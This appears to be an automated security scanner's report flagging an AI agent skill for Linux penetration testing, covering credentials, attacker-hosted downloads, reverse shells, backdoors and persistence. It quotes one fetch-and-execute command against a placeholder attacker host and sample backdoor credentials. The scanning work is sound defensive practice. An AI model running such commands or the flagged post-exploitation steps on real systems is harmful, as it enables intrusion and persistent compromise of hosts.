linux-pentesting-command-reference

HIGH W007: Insecure credential handling detected in skill instructions.

• Insecure credential handling detected (high risk: 0.90). The skill contains many examples that embed plaintext credentials (e.g., "backdoor:password", "password123", echoing a public key into authorized_keys) and explicitly instructs documenting discovered credentials, which would require the agent to handle and potentially output secret values verbatim.

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). Multiple entries are direct HTTP links to an attacker-controlled host serving executable scripts (e.g., linpeas.sh, /file) — a high-risk distribution vector — and the GitHub repo is from an unknown user (while ara.so may be legitimate), so overall these URLs are suspicious and could deliver malware.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). This document contains explicit, actionable malicious techniques (reverse shells, remote code execution, hidden network exfiltration, credential harvesting, adding backdoor users/SSH keys, cron-based persistence and PATH/SUID abuse) that directly enable unauthorized compromise and persistence if misused.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 0.90). The skill includes commands that fetch and execute remote scripts at runtime from attacker-hosted URLs (e.g., "wget http://ATTACKER_IP/linpeas.sh -O /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh && ./tmp/linpeas.sh"), meaning it relies on external content that is executed on the host.

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). This skill explicitly instructs privilege-escalation and post-exploitation actions that modify system state (e.g., adding users, editing /etc/passwd, planting SSH keys, writing cronbackdoors and invoking sudo/kernel exploits), which require or obtain root and therefore compromise the host.